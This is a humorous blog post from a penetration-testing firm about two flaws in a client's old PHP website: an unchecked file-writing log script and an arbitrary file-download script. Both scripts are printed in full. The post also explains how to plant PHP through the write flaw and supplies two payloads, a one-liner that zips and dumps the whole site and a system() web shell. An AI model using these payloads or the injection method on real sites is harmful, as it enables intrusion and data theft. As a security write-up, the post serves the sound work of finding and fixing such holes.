Website security pentesting with a funny twist
Tags: pentesting, pentester, security, hacking
Published: 2020-07-30 21:52:35

---
title: Website security pentesting with a funny twist
published: true
description: The article presents what was found while performing pentests on the client's old website. Read it or you won't believe it!
tags: pentesting,pentester,security,hacking
cover_image: https://i0.wp.com/www.zoom-comics.com/wp-content/uploads/sites/36/2018/07/hackerman.jpg?fit=1920%2C1080&ssl=1
---

Our company performs [pentests and security audits](https://www.pelock.com/services) both in individual clients and in government and military agencies.

During the last pentest session at the client's __ancient__ site, I discovered a script left on the server by the developer who designed the system years ago. Designed in the '90s or so :)

![MTV '90s](https://64.media.tumblr.com/0d37cdfa34cc7450c768fc7fab411ae0/tumblr_mqrex1PXmm1syik4qo1_500.gif)

You get the picture.

##⚙️ Pentesting an ancient website

The script, publicly available (its address was sent to clients), was used by one of the components to save logs on the server, in a very **original way**.

I don't even know how to comment on it, I'll just show you the code (modified to not reveal the customer information):

```php
<?php

    /*function deleteDir($path) {
        if (empty($path)) { 
            return false;
        }
        return is_file($path) ?
                @unlink($path) :
                array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
    }

    deleteDir('xxx');
    die;*/

    $filename = $_REQUEST["xvar"];
    $user = $_REQUEST["yvar"];
    $xyz = $_REQUEST["zvar"];

    chdir('xxx');

    $hfile = fopen($filename, "a+");
    
    $fsize=filesize($filename);
    
    if ($fsize==0){
        fwrite($hfile, $user."\r\n\r\n");
    }
    
    fwrite($hfile, date("r")." - ".$xyz."\r\n");
    
    echo "1";

?>
```

So what's going on here? This script simply takes the parameters from a `POST` or `GET` query and uses their contents to overwrite an existing or create a new file on the server in the subdirectory `"xxx"`.

##🐞 It's not a bug - it's a feature!

The **problem is** that no validation is performed and it is possible to create **any file** in any system directory, including PHP scripts!

![It's not a bug - it's a feature!](https://i.redd.it/0gkhf1mi37541.jpg)

##❓ How to take advantage of this vulnerability?

Creatively. That's for sure. And so that the client understands that this is not a joke. You have to construct a POST query to the server and set parameters accordingly:

1. `"xvar"` - in this parameter we save the name of the newly created PHP script
2. `"yvar"` - will contain the contents of the PHP code with a `<?php` tag opening the PHP script and a tag at the end that will open the multi-line PHP comment `/*`, because this variable is followed by the date and this would break the PHP code structure
3. `"zvar"` - with this parameter we will close the multi-line PHP command `*/` and close the PHP script tags `?>`.

##📦 Downloading the entire page in a ZIP archive

The following script has been written in such a way that, using the [ZIP extension for PHP](https://www.php.net/manual/en/class.ziparchive.php), it creates an archive (without compression, so as not to extend the duration of the script) with all the files on the site.

```php
<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r),    RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /*
```

To create this script on the server using found vulnerability I used [extension for Chrome - RestMan](https://chrome.google.com/webstore/detail/restman/ihgpcfpkpmdcghlnaofdmjkoemnlijdi?hl=en). After setting the query of `POST` type and parameters, the faulty script returned `"1"`, which as you can see shows that it has been executed to the end.

![RestMan Chrome Extension](https://www.secnews.pl/wp-content/uploads/2020/07/pentest-rozszerzenie-postman.png)

Now all you have to do is enter the address of the site and the name of the script in your browser, it is located in the `"xxx/dump.php"` directory and if everything goes ok, it will create a ZIP archive a directory level up with all the content of the site.

###🕒 Extend PHP script execution time

The problem may be the time needed for the PHP script to work, limited by the settings in the `php.ini` configuration file. You can extend it by executing the PHP function [`set_time_limit(10 * 60);`](https://www.php.net/manual/en/function.set-time-limit.php) right at the beginning of the script.

##🎁 Remote shell

Of the more interesting things to drop off is the **remote shell**, which can be used to remotely execute commands, thanks to the [`system()`](https://www.php.net/manual/en/function.system.php) function built into PHP:

```php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*
```

This function can be and **often** is disabled in PHP configuration, but it is worth knowing about.

##🤔 Is this even a mistake?

I've been thinking about it for a while because the address of the script was sent to the system clients after a specific action but they couldn't be aware of what was going on after it was executed, i.e. new files are being created in the "xxx" subdirectory. Because how?

However, further tests of this archaic system allowed to find another faulty script that beats the one above:

```php
<?php
// downloading a file
    $filename = $_GET['filename'];

// fix for IE catching or PHP bug issue

    header("Pragma: public");
    header("Expires: 0"); // set expiration time
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    
// browser must download file from server instead of cache

// force download dialog

    header("Content-Type: application/force-download");
    header("Content-Type: application/octet-stream");
    header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.

    header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to show a progress meter as a file downloads. The content-lenght can be determines by filesize function returns the size of a file.
*/

    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".filesize($filename));

    @readfile($filename);
    
    exit(0);
    
?>
```

It's pretty hard to beat this one. Really.

The script allows you to **download any file from the server**, e.g. you just need to set `"filename"` parameter to `"index.php"` or some other, often used file like `"config.php"` to get into the rest of the system.

##😲 Client was surprised
After pointing out the errors and presenting their __potential__ in real word attacks, the client was surprised that such a thing was possible at all!

![John Cena Surprised](https://i.imgur.com/zvCw1LK.gif)

But this was due to the age of the system and the methods of software development used years ago, which we are unlikely to experience any more.

Although, who knows how many more of these old flaws hang around in websites all around the web :)